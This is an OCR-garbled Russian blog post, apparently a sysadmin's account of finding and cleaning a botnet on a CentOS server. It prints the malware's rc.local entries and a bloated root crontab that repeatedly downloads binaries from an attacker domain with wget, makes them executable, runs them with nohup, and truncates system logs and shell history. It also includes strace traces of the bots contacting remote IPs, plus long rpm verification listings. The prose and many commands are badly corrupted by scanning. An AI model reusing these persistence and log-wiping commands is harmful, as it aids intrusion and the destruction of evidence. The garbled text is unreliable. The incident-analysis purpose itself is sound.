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I'm not a botnetL
~Bill Gates

Harmican mue Buepa lfatallty, roBopurt, foMamauii poytep Ha x86 ¢ CentOS Kak-To CTpaHHO ce0s Be[leT, TPY3UT
KaHaJ ImoJ| rurabuT, ¥ KaKoH-TO CTpaHHBIN mporiecc «atddd» 3arpyskaeT rpoijeccop. Permi s 3a/1e3Th U
MOCMOTPETB, UTO >Ke TaM TBOPUTCS, ¥ Cpa3y IOHSUI, YTO KTO-TO Npobpasics Ha CepBep M COBEPIIAeT C HUM
HeroTpebcTBa Besike. B mporjeccax Bucenu wget-bl Ha jomeH dgnfd564sdf.com u nporjecce! atddd, cupsdd,

cupsddh, ksapdd, kysapdd, skysapdd u xfsdxd, 3any1ijeHHbIe u3 /etc:

CKPpBITBII TEKCT

root 4741 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root 4753 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root 4756 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root 4757 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root 4760 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root 4764 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root 4767 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

K coxxanenuto, rporeccsl He JOAyMasICsl CKOMMPOBATh
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Haua/ibHbIH aHa/IN3

CHauana s rose3 CMOTPETD, UTO >Xe BOOGI_L[E MPpONCXOAUT Y HACKOJIBKO CEPbE3HO Ob11a CKOMITIDOMETHPOBaHa

cucteMa. ITepBoe, UTO MHe TIPUILJIO B TOIOBY TpoBepuTh — /etc/rc.local. Tam 6bu10 cepytoree:

cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

«XMM, J1aIHO», Toiymar s. [Tose3 B root'oBCKuiA crontab:

CKpBITHIi TeKCT

# crontab -e
Each task to run has to be defined through a single line
indicating with different fields when the task will be run

and what command to run for the task

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for 'any').#
Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Each task to run has to be defined through a single line
indicating with different fields when the task will be run

and what command to run for the task

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for ‘any').#
Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

HH o = B R R B R ® R B = B R R R R Rk R R = = R = R R R R
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Each task to run has to be defined through a single line
indicating with different fields when the task will be run

and what command to run for the task

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for 'any').#
Notice that tasks will be started based on the cron's system

daemon's notion of time and timezones.

Output of the crontab jobs (including errors) is sent through

email to the user the crontab file belongs to (unless redirected).

Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.
Each task to run has to be defined through a single line
indicating with different fields when the task will be run

and what command to run for the task

To define the time you can provide concrete values for

=H O R R B R R = R B R B = ok R R R R Rk & " = = = R = R R R

minute (m), hour (h), day of month (dom), month (mon),

*¥/1 * * * * killall -9 nfsd4

Edit this file to introduce tasks to be run by cron.

Each task to run has to be defined through a single line
indicating with different fields when the task will be run

and what command to run for the task

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for ‘any').#
Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.

Edit this file to introduce tasks to be run by cron.

HH O B OB R = B R R = R R

Edit this file to introduce tasks to be run by cron.

*/1 * * * * killall -9 profild.key
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# Edit this file to introduce tasks to be run by cron.

#

# Each task to run has to be defined through a single line

# indicating with different fields when the task will be run

# and what command to run for the task

#

# To define the time you can provide concrete values for

# minute (m), hour (h), day of month (dom), month (mon),

# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
*¥/1 % * * * killall -9 DDosl

*/1 * * * * killall -9 lengchao32

*¥/1 % * * * killall -9 b26

*/1 * * * * killall -9 codelove

*¥/1 % * * % killall -9 32

*/1 * % * * killall -9 64

*/1 % * % * killall -9 newb

*/1 * * * * killall -9 newd

*¥/1 * * * * killall -9 node24

*/1 * * * * killall -9 freeBSD

*/99 * * * * kjillall -9 kysapd

*/98 * * * * killall -9 atdd

*/97 * * * * killall -9 kysapd

*/96 * * * * killall -9 skysapd

*/95 * * * * killall -9 xfsdx

*¥/94 * * * * killall -9 ksapd

# Edit this file to introduce tasks to be run by cron.

#

# Each task to run has to be defined through a single line

# indicating with different fields when the task will be run

# and what command to run for the task

#

# To define the time you can provide concrete values for

# minute (m), hour (h), day of month (dom), month (mon),

# and day of week (dow) or use '*' in these fields (for 'any').#
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8086/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:80806/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8086/ksapd
*/120 * * * * ¢d /root;rm -rf dir nohup.out
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# Edit this
#

# Each task
*/360 * * *
*/360 * * *
*/360 * * *
*/360 * * *
*/360 * * *
*/360 * * *
K]k Kk %
*/‘l****
K]k Kk %
*/‘l****
K]k Kk %
*/‘l****
K]k Kk %
*/‘]****
*/] ok Kk %
*/‘]****
*/] ok Kk %
*/‘]****
*/] ok Kk %
*/‘]****

# Edit
#
# Each

*/98 *
*/97 *
*/96 *
*/95, *
*/‘I *
/1 *
*/‘I *
/1 *
*/‘l *
/1 *
*/‘l *
/1 *
*/‘l *
/1 *
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file to introduce tasks to be run by cron.

to run has to be defined through a single line

*

*

C

C

C

C

C

C

C

C

@

C

@

C

@

C

cd /etc;rm
cd /etc;rm
cd /etc;rm
cd /etc;rm
cd /etc;rm

cd /etc;rm

-rf dir atdd
-rf dir ksapd
-rf dir kysapd
-rf dir skysapd
-rf dir sksapd

-rf dir xfsdx

d /etc;rm -rf dir cupsdd.*
d /etc;rm -rf dir atdd.*

d /etc;rm -rf dir ksapd.*
d /etc;rm -rf dir kysapd.*

d /etc;rm -rf dir skysapd.*

d /etc;rm -rf dir sksapd.*
d /etc;rm -rf dir xfsdx.*
hmod 7777 /etc/atdd

hmod 7777 /etc/cupsdd

hmod 7777 /etc/ksapd

hmod 7777 /etc/kysapd

hmod 7777 /etc/skysapd
hmod 7777 /etc/sksapd

hmod 7777 /etc/xfsdx

*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>§1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&

this file to introduce tasks to be run by cron.

task to run has to be defined through a single line

*

*

*

*

*

*

*

nohup /etc/kysapd > /dev/null 2>&1&
nohup /etc/skysapd > /dev/null 2>&1&
nohup /etc/xfsdx > /dev/null 2>&1&
nohup /etc/ksapd > /dev/null 2>&1&
* echo "unset MAILCHECK" >> /etc/profile

rm -rf /root/.bash_history

touch /root/.bash_history

h
c
c
c
c
c

C

istory -r
d /var/log
d /var/log
d /var/log
d /var/log
d /var/log
d /var/log

>

>

>

dmesg

auth.log
alternatives.log
boot.log

btmp

cron
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*¥/1 * * * * ¢d /var/log > cups

*/1 * * * * cd /var/log > daemon.log
*/1 * * * * ¢d /var/log > dpkg.log
*/1 * * * * ¢d /var/log > faillog
*/1 * * * * ¢d /var/log > kern.log
*/1 * * * * ¢d /var/log > lastlog
*/1 * * * * ¢d /var/log > maillog
*/1 * * * * ¢d /var/log > user.log
*/1 * * * * ¢d /var/log > Xorg.x.log
*/1 * * * * ¢d /var/log > anaconda. log
*/1 * * * * ¢d /var/log > yum.log
*/1 * * * * ¢d /var/log > secure

*¥/1 * * * * cd /var/log > wtmp

*/1 * * * * cd /var/log > utmp

*¥/1 * * * * ¢d /var/log > messages
*/1 * * * * ¢d /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * ¢d /var/log > aculog

*/1 * * * * cd /var/log > access-log
*/1 * * * * ¢d /root > .bash_history

*/1 * * * * history -c

# Edit this file to introduce tasks to be run by cron.
#
# Edit this file to introduce tasks to be run by cron.

# Edit this file to introduce tasks to be run by cron.

Ox. Pa3mepom oH 6b11 183KB, 4036 cTpouek. Brl Korma-uubyas Bugenu crontab pasmepom 183KE? S1 Buger.
K MomeHTY, Kor/ia 51 3aiiies1 Ha cepBep, 3TH TPOLIeCCHI YoKe HUUero He Jieyiaiy (He IPY3WId IpoLieccop, He
WICTIO/Ib30Ba/IM CeTh). Perit octaHOBUTH crond, UTOObI 3TU IpaBU/Ia He BHITIO/HSINCD, a TIPOLIeCCHI TIOKa He

ybuBate. HaTpaBus Ha HUX strace:

CKpBIThIi TeKCT

[root@Fatalsrv etc]# strace -p 3312
Process 3312 attached - interrupt to quit
[ Process PID=3312 runs in 32 bit mode. ]
restart_syscall(<... resuming interrupted call ...>) = 0
socket (PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = @
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcnt164(3, F_GETFL) = 0x2 (flags O_RDWR)
fcnt164(3, F_SETFL, O_RDWR|O_NONBLOCK) = 9
connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRE!
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fent164(3, F_GETFL) 0x802 (flags O_RDWR|O_NONBLOCK)

fcnt164(3, F_SETFL, O_RDWR) =0

setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) =0

setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = @

setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0

send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, @) = -1 ECONNREFUSED (Connection refused)
close(3) =0

nanosleep({15, 0}, NULL) =0

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) =0

setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = @

fcnt164(3, F_GETFL) 0x2 (flags O_RDWR)

fcnt164(3, F_SETFL, O_RDWR|O_NONBLOCK) 0

connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRE!
fcnt164(3, F_GETFL) 0x802 (flags O_RDWR|O_NONBLOCK)

fcnt164(3, F_SETFL, O_RDWR) =0

setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0@], 4) = @

setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0

setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0

send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, @) = -1 ECONNREFUSED (Connection refused)
close(3) =0

nanosleep({15, 0},

[root@Fatalsrv etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]
recv(3, Oxfff19338, 4, 0)

-1 ECONNRESET (Connection reset by peer)

close(3) =0
futex(0x816e8a8, FUTEX_WAKE, 1) S
futex(0x816e8a4, FUTEX_WAKE, 1) =
nanosleep({15, @}, NULL) =0

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = @
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = @

fcnt164(3, F_GETFL) = 0x2 (flags O_RDWR)

fcnt164(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0

connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRES
fcnt164(3, F_GETFL) 0x802 (flags O_RDWR|O_NONBLOCK)

fcnt164(3, F_SETFL, O_RDWR) =0

setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = @

setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = @

setsockopt(3, SOL_SOCKET, SO_SNDTIMEQ, "\17\0\0\0\0\0\0\@", 8) = 0

send(3, "R\r\@\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401

setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\@\@\0\0\@\0\0", 8) = 0

recv(3, "\4\0\0\0", 4, 0) =4

setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8)

1
()
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send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\O\0\0\O\", 27, 0)
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\@\0\0\0\0\0\0", 8) =
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recv(3, "\4\0\0\0", 4, 0) =4

setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8)

0

send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\O\0\0\O\1\0\0\0\0\0\0\0"
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\@\0\0\0\0\0\0", 8) = @
recv(3, NC <unfinished ...>
Process 3268 detached

27

0

, 27, @) =27

HpOL[ECC])I TMOYTH HUYEero He Jie/ia/id, TO/IbKO M3peKa OTIIPaB/IsA/IA C06paHHbIe C MalllMHbI JTaHHEBIE. Permn nx

youTh, pazymeetcs, ¢ curHasioM SIGKILL. ITourctun crontab, mouuctun /etc/rc.local, yaanun 3Ti vcnonHsieMble

(aiinel u3 /etc (K cy1oBy, oHU Bce uMenn SUID-6UT, a Ha ofHOM ObUT Immunity-6uT, ¥ eC/ii He 3HATh WK He

NOMHUTB 11po extended attributes ¢aiisioB, TO MOXKHO J0/ITO JIOMaTh T'OJIOBY, I0UEMY HUUETO HeJlb3sl C HUM

C/leniaTh: HU yauTh, HA U3MEHHTH), TOYnCTI /etc/profile ot 422 cTpouek:

unset MATILCHECK

Yro o3Hauaet, uto 60THET ObUT Ha KOMITBIOTEPe TIPUMepHO 7 uacoB. He Tak MHOTO, HO U He MaJio, 3aapXHUBUPOBA

Bce aiisibl cebe ¥ cKayas ux.

Tenepsb Hy>KHO ITPOBEPUTD, OBLIN /I U3MEHeHBI KaKue-TO chucTeMHble (aiibl. B CentOS zy1s 3TOro 0CTaTOUHO

BBITIO/THUTHB.

rpm -Va

BriBog 3TOM KOMaH/IpI MeHsl, B 00ITIeM-TO, ITOpaZioBa:

CKpBITHIi TeKCT

[root@Fatalsrv ~]# rpm -Va

SaBoanolla €
SoBaoac
SaBanac

©

C

/etc/ppp/chap-secrets

/etc/issue

/etc/crontab

/etc/nagiosgraph/access.conf
/etc/nagiosgraph/nagiosgraph.conf
/usr/lib/nagiosgraph/cgi-bin/show.cgi
/usr/lib/nagiosgraph/cgi-bin/showconfig.cgi
/usr/lib/nagiosgraph/cgi-bin/showgraph.cgi
/usr/1lib/nagiosgraph/cgi-bin/showgroup.cgi
/usr/lib/nagiosgraph/cgi-bin/showhost.cgi
/usr/lib/nagiosgraph/cgi-bin/showservice.cgi
/usr/lib/nagiosgraph/cgi-bin/testcolor.cgi
/usr/share/nagiosgraph/htdocs/nagiosgraph.css
/usr/share/nagiosgraph/htdocs/nagiosgraph.js
/var/log/nagiosgraph/nagiosgraph-cgi.log
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SeBaoools /var/log/nagiosgraph/nagiosgraph.log

missing /usr/java/jrel1.7.0_40/1ib/install.jar

P /1lib/modules/2.6.32-358.2.1.e16.x86_64/build
S.5....T. ¢ /etc/tor/torrc

Moo, /

....... T. ¢ /etc/ppp/options.pptpd

S.5....T. c /etc/pptpd.conf

«oo.l.... c /etc/pam.d/fingerprint-auth
....L.... ¢ /etc/pam.d/password-auth
«...L.... c /etc/pam.d/smartcard-auth
....Loo.. ¢ /etc/pam.d/system-auth
S.5....T. ¢ /etc/rsyslog.conf

S.5....T. ¢ /etc/rc.d/rc.local
..5....T. ¢ /etc/sysctl.conf

S.5....T. c /etc/vsftpd/vsftpd.conf

oilococaaa /var/ftp/pub

..5....T. ¢ /etc/sysconfig/PlexMediaServer
....... T. /usr/lib/plexmediaserver/start.sh
S.5....T. ¢ /etc/sysconfig/m_sensors
S.5....T. c /etc/php.ini

S.5....T. c /etc/httpd/conf/httpd.conf
....... [ /etc/rc.d/init.d/deluge-daemon
S.5....T. ¢ /etc/cacti/db.php

S.5....T. c /etc/cron.d/cacti

S.5....T. c /etc/httpd/conf.d/cacti.conf

dilococaaa /usr/share/cacti

Mo, /usr/share/cacti/about.php

Mocooooa /usr/share/cacti/auth_changepassword.php
Mo, /usr/share/cacti/auth_login.php
Mocooooa /usr/share/cacti/cdef.php

Mo, /usr/share/cacti/cmd.php

Mocooooa /usr/share/cacti/color.php

Mo, /usr/share/cacti/data_input.php
Mocooooa /usr/share/cacti/data_queries.php
Mo, /usr/share/cacti/data_sources.php
Mocooooa /usr/share/cacti/data_templates.php
Mo, /usr/share/cacti/gprint_presets.php
Mocooooa /usr/share/cacti/graph.php

Mo, /usr/share/cacti/graph_image.php
Mocooooa /usr/share/cacti/graph_settings.php
oilococaaa /usr/share/cacti/graph_templates.php
Mooooooa /usr/share/cacti/graph_templates_inputs.php
Mo, /usr/share/cacti/graph_templates_items.php
Mooooooa /usr/share/cacti/graph_view.php
oilococaaa /usr/share/cacti/graph_xport.php
Mooooooa /usr/share/cacti/graphs.php

Mo, /usr/share/cacti/graphs_items.php
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/usr/share/cacti/graphs_new.php
/usr/share/cacti/host.php
/usr/share/cacti/host_templates.php
/usr/share/cacti/images
/usr/share/cacti/images/arrow.gif
/usr/share/cacti/images/auth_deny.gif
/usr/share/cacti/images/auth_login.gif
/usr/share/cacti/images/auth_logout.gif
/usr/share/cacti/images/button_add.gif
/usr/share/cacti/images/button_cancel.gif
/usr/share/cacti/images/button_cancel2.gif
/usr/share/cacti/images/button_clear.gif
/usr/share/cacti/images/button_colapse_all.gif
/usr/share/cacti/images/button_create.gif
/usr/share/cacti/images/button_default.gif
/usr/share/cacti/images/button_delete.gif
/usr/share/cacti/images/button_expand_all.gif
/usr/share/cacti/images/button_export.gif
/usr/share/cacti/images/button_go.gif
/usr/share/cacti/images/button_help.gif
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/usr/share/cacti/include/jscalendar/lang/calendar-el.js
/usr/share/cacti/include/jscalendar/lang/calendar-en.js
/usr/share/cacti/include/jscalendar/lang/calendar-es.js
/usr/share/cacti/include/jscalendar/lang/calendar-fi.js
/usr/share/cacti/include/jscalendar/lang/calendar-fr.js
/usr/share/cacti/include/jscalendar/lang/calendar-he-utf8.js
/usr/share/cacti/include/jscalendar/lang/calendar-hr-utf8.js
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/usr/share/cacti/include/jscalendar/lang/calendar-hu.js
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/usr/share/cacti/include/jscalendar/lang/calendar-ru.js
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/usr/share/cacti/include/plugins.php
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/usr/share/cacti/include/treeview/ftiens4_export.js
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/usr/share/cacti/include/treeview/ua.js
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/usr/share/cacti/install
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/usr/share/cacti/install/0_8_6d_to_0_8_6e.php
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/usr/share/cacti/lib/adodb
/usr/share/cacti/lib/adodb/adodb-csvlib.inc.php
/usr/share/cacti/1lib/adodb/adodb-datadict.inc.php
/usr/share/cacti/lib/adodb/adodb-error.inc.php
/usr/share/cacti/lib/adodb/adodb-errorhandler.inc.php
/usr/share/cacti/1lib/adodb/adodb-errorpear.inc.php
/usr/share/cacti/lib/adodb/adodb-exceptions.inc.php
/usr/share/cacti/1lib/adodb/adodb-iterator.inc.php
/usr/share/cacti/lib/adodb/adodb-1ib.inc.php
/usr/share/cacti/1lib/adodb/adodb-pear.inc.php
/usr/share/cacti/1lib/adodb/adodb-perf.inc.php
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/usr/share/cacti/1lib/adodb/adodb-time.inc.php
/usr/share/cacti/lib/adodb/adodb-xmlschema.inc.php
/usr/share/cacti/lib/adodb/adodb.inc.php
/usr/share/cacti/lib/adodb/datadict
/usr/share/cacti/lib/adodb/datadict/datadict-access.inc.php
/usr/share/cacti/lib/adodb/datadict/datadict-db2.inc.php
/usr/share/cacti/1lib/adodb/datadict/datadict-firebird.inc.php
/usr/share/cacti/lib/adodb/datadict/datadict-generic.inc.php
/usr/share/cacti/lib/adodb/datadict/datadict-ibase.inc.php
/usr/share/cacti/lib/adodb/datadict/datadict-informix.inc.php
/usr/share/cacti/lib/adodb/datadict/datadict-mssql.inc.php
/usr/share/cacti/lib/adodb/datadict/datadict-mysql.inc.php
/usr/share/cacti/lib/adodb/datadict/datadict-oci8.inc.php
/usr/share/cacti/1lib/adodb/datadict/datadict-postgres.inc.php
/usr/share/cacti/lib/adodb/datadict/datadict-sapdb.inc.php
/usr/share/cacti/1lib/adodb/datadict/datadict-sybase.inc.php
/usr/share/cacti/1lib/adodb/drivers
/usr/share/cacti/1lib/adodb/drivers/adodb-access.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-ado.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-ado5. inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-ado_access.inc.php
/usr/share/cacti/1lib/adodb/drivers/adodb-ado_mssql.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-borland_ibase.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-csv.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-db2.1inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-fbsql.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-firebird.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-ibase.inc.php
/usr/share/cacti/1lib/adodb/drivers/adodb-informix.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-informix72.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-1dap.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mssql.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mssqlpo.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mysql.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mysqli.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-mysqlt.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-netezza.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-oci8.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-0ci805.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-oci8po.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-odbc. inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-odbc_mssql.inc.php
/usr/share/cacti/1lib/adodb/drivers/adodb-odbc_oracle.inc.php
/usr/share/cacti/1lib/adodb/drivers/adodb-odbtp.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-odbtp_unicode.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-oracle.inc.php
/usr/share/cacti/1lib/adodb/drivers/adodb-pdo.inc.php
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/usr/share/cacti/1lib/adodb/drivers/adodb-postgres.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-postgres64.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-postgres7.inc.php

/usr/share/cacti/lib/adodb/drivers/adodb-proxy.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sapdb.inc.php

/usr/share/cacti/1lib/adodb/drivers/adodb-sqlanywhere.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sqlite.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sqlitepo.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-sybase.inc.php

/usr/share/cacti/lib/adodb/drivers/adodb-vfp.inc.php

/usr/share/cacti/lib/adodb/lang

/usr/share/cacti/lib/adodb/lang/adodb-ar.
/usr/share/cacti/lib/adodb/lang/adodb-bg.
/usr/share/cacti/lib/adodb/1ang/adodb-bgu
/usr/share/cacti/lib/adodb/lang/adodb-ca.
/usr/share/cacti/lib/adodb/lang/adodb-cn.
/usr/share/cacti/lib/adodb/lang/adodb-cz.
/usr/share/cacti/lib/adodb/lang/adodb-de.

/usr/share/cacti/lib/adodb/lang/adodb-en.inc.

/usr/share/cacti/lib/adodb/lang/adodb-es.
/usr/share/cacti/lib/adodb/lang/adodb-fr.
/usr/share/cacti/lib/adodb/lang/adodb-hu.
/usr/share/cacti/lib/adodb/lang/adodb-it.
/usr/share/cacti/lib/adodb/lang/adodb-nl.
/usr/share/cacti/lib/adodb/lang/adodb-pl.
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/usr/share/cacti/lib/adodb/lang/adodb-pt-br.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-ro.inc.php
/usr/share/cacti/1lib/adodb/lang/adodb-ru1251.inc.php
/usr/share/cacti/lib/adodb/lang/adodb-sv.inc.php

/usr/share/cacti/lib/adodb/license.txt
/usr/share/cacti/lib/adodb/toexport.inc.p
/usr/share/cacti/lib/adodb/tohtml. inc.php

/usr/share/cacti/1lib/api_automation_tools.php

/usr/share/cacti/lib/api_data_source.php
/usr/share/cacti/lib/api_device.php
/usr/share/cacti/lib/api_graph.php
/usr/share/cacti/lib/api_poller.php
/usr/share/cacti/lib/api_tree.php
/usr/share/cacti/lib/auth.php
/usr/share/cacti/lib/cdef.php
/usr/share/cacti/lib/data_query.php
/usr/share/cacti/lib/database.php
/usr/share/cacti/lib/export.php
/usr/share/cacti/lib/functions.php
/usr/share/cacti/lib/graph_export.php
/usr/share/cacti/lib/graph_variables.php
/usr/share/cacti/lib/html.php
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/usr/share/cacti/lib/html_form.php
/usr/share/cacti/lib/html_form_template.php
/usr/share/cacti/lib/html_tree.php
/usr/share/cacti/lib/html_utility.php
/usr/share/cacti/lib/html_validate.php
/usr/share/cacti/lib/import.php
/usr/share/cacti/1lib/1dap.php
/usr/share/cacti/lib/ping.php
/usr/share/cacti/lib/plugins.php
/usr/share/cacti/lib/poller.php
/usr/share/cacti/lib/rrd.php
/usr/share/cacti/lib/snmp.php
/usr/share/cacti/lib/sort.php
/usr/share/cacti/1lib/template.php
/usr/share/cacti/lib/time.php
/usr/share/cacti/lib/timespan_settings.php
/usr/share/cacti/lib/tree.php
/usr/share/cacti/lib/utility.php
/usr/share/cacti/lib/variables.php
/usr/share/cacti/1ib/xml.php
/usr/share/cacti/logout.php

/usr/share/cacti/plugins

/usr/share/cacti/plugins.php
/usr/share/cacti/plugins/index.php
/usr/share/cacti/poller.php
/usr/share/cacti/poller_commands.php
/usr/share/cacti/poller_export.php
/usr/share/cacti/resource
/usr/share/cacti/resource/script_queries
/usr/share/cacti/resource/script_queries/host_cpu.xml
/usr/share/cacti/resource/script_queries/host_disk.xml
/usr/share/cacti/resource/script_queries/unix_disk.xml
/usr/share/cacti/resource/script_server
/usr/share/cacti/resource/script_server/host_cpu.xml
/usr/share/cacti/resource/script_server/host_disk.xml
/usr/share/cacti/resource/snmp_queries
/usr/share/cacti/resource/snmp_queries/host_disk.xml
/usr/share/cacti/resource/snmp_queries/interface.xml
/usr/share/cacti/resource/snmp_queries/kbridge.xml
/usr/share/cacti/resource/snmp_queries/net-snmp_disk.xml
/usr/share/cacti/resource/snmp_queries/netware_cpu.xml
/usr/share/cacti/resource/snmp_queries/netware_disk.xml
/usr/share/cacti/rra.php
/usr/share/cacti/script_server.php
/usr/share/cacti/settings.php
/usr/share/cacti/templates_export.php
/usr/share/cacti/templates_import.php
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/usr/share/cacti/tree.php
/usr/share/cacti/user_admin.php
/usr/share/cacti/utilities.php

/var/lib/cacti

/var/lib/cacti/cli
/var/lib/cacti/cli/add_data_query.php
/var/lib/cacti/cli/add_device.php
/var/lib/cacti/cli/add_graph_template.php
/var/lib/cacti/cli/add_graphs.php
/var/lib/cacti/cli/add_perms.php
/var/lib/cacti/cli/add_tree.php
/var/lib/cacti/cli/analyze_database.php
/var/lib/cacti/cli/convert_innodb.php
/var/lib/cacti/cli/copy_user.php
/var/lib/cacti/cli/data_template_associate_rra.php
/var/lib/cacti/cli/host_update_template.php
/var/lib/cacti/cli/import_template.php
/var/lib/cacti/cli/poller_data_sources_reapply_names.php
/var/lib/cacti/cli/poller_graphs_reapply_names.php
/var/lib/cacti/cli/poller_output_empty.php
/var/lib/cacti/cli/poller_reindex_hosts.php
/var/lib/cacti/cli/rebuild_poller_cache.php
/var/lib/cacti/cli/reorder_data_query.php
/var/lib/cacti/cli/repair_database.php
/var/lib/cacti/cli/repair_templates.php
/var/lib/cacti/cli/structure_rra_paths.php
